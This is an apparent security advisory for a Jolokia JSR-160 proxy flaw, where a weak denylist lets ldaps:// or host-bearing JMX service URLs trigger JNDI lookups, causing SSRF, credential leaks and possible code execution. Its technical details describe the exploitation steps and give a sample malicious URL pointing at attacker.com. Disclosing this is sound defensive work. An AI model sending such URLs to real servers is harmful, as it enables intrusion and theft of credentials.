Description

A flaw was found in Jolokia's JSR-160 proxy functionality where insufficient validation of client-controlled JMX service URLs allows a bypass of the denylist introduced to mitigate CVE-2018-1000130. The proxy accepts a `target.url` value from a Jolokia POST request and passes it to `JMXServiceURL` and `JMXConnectorFactory` for establishing the remote JMX connection. The existing denylist only rejects URLs matching `service:jmx:rmi:///jndi/ldap:.*`, which can be bypassed using alternative valid JMX service URL forms, including `ldaps://` schemes or LDAP URLs with a non-empty JMX host component. These URLs are accepted as valid `JMXServiceURL` objects and can cause the Jolokia agent JVM to perform a JNDI lookup against an attacker-controlled LDAP endpoint. This can result in server-side request forgery (SSRF), forwarding of supplied JMX credentials to the remote endpoint, and potentially remote code execution depending on the classes and configuration available in the target JVM.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "8.1",
  "pubDate": "2026-09-01T14:17:49.233Z",
  "pubdate": "2026-09-01T14:17:49.233Z",
  "executiveSummary": "This vulnerability involves an insufficient denylist implementation within Jolokia's JSR-160 proxy functionality, which fails to adequately restrict malicious JMX service URLs.\nThe flaw allows attackers to bypass existing security controls designed to mitigate CVE-2018-1000130, enabling Server-Side Request Forgery (SSRF) and potential Remote Code Execution (RCE).\nBy submitting a specially crafted target.url parameter via a Jolokia POST request, an unauthenticated attacker can force the Jolokia agent JVM to initiate a JNDI lookup against a remote, attacker-controlled LDAP or LDAPS endpoint.\nThe impact is significant, as it facilitates the exposure of internal network resources, the exfiltration of supplied JMX credentials, and the execution of arbitrary code within the target JVM context, contingent on the presence of vulnerable classes in the application's classpath.\nThe risk is critical for environments where Jolokia is exposed and configured with JSR-160 proxy features enabled, as it provides a vector for unauthorized interaction with external JNDI services.",
  "technicalDetails": "The vulnerability resides in the JSR-160 proxy component of the Jolokia agent, specifically in how the agent handles the target.url parameter provided in POST requests. The application is designed to proxy JMX requests to remote destinations by passing user-supplied input to the JMXServiceURL and JMXConnectorFactory constructors.\nFollowing the remediation of CVE-2018-1000130, a denylist was implemented to block JMX service URLs matching 'service:jmx:rmi:///jndi/ldap:.*'. However, this validation logic is incomplete and relies on an overly restrictive pattern that fails to account for alternative, syntactically valid JMX service URL variations.\nAttackers can bypass this filter by utilizing alternative schemes such as 'ldaps://' or by modifying the JMX service URL string to include a non-empty JMX host component within the LDAP URL structure. Because the Jolokia proxy logic accepts these variations as legitimate JMXServiceURL objects, the input is passed directly to the JMXConnectorFactory, which then attempts to establish a connection using the JNDI/LDAP protocol.\nThe exploitation flow proceeds as follows: First, the attacker identifies a Jolokia endpoint with JSR-160 proxying enabled. Second, the attacker constructs a malicious JMX service URL, such as 'service:jmx:rmi://localhost/jndi/ldaps://attacker.com/Exploit', which evades the regex denylist. Third, the attacker transmits this URL via a POST request to the Jolokia agent. Finally, the agent processes the request and invokes the underlying Java Naming and Directory Interface (JNDI) to resolve the provided address.\nThe post-exploitation impact includes SSRF, where the JVM acts as a proxy to reach protected internal network services. Furthermore, if the connection process triggers a JNDI lookup, the server may forward JMX credentials to the attacker-controlled server. If the target environment utilizes a Java version containing vulnerable gadget chains, the JNDI lookup can result in Remote Code Execution, allowing the attacker to gain full control over the JVM process. The success of RCE is dependent on the specific classes available within the target JVM's classpath that can be leveraged during the object deserialization process or through specific JNDI naming references."
}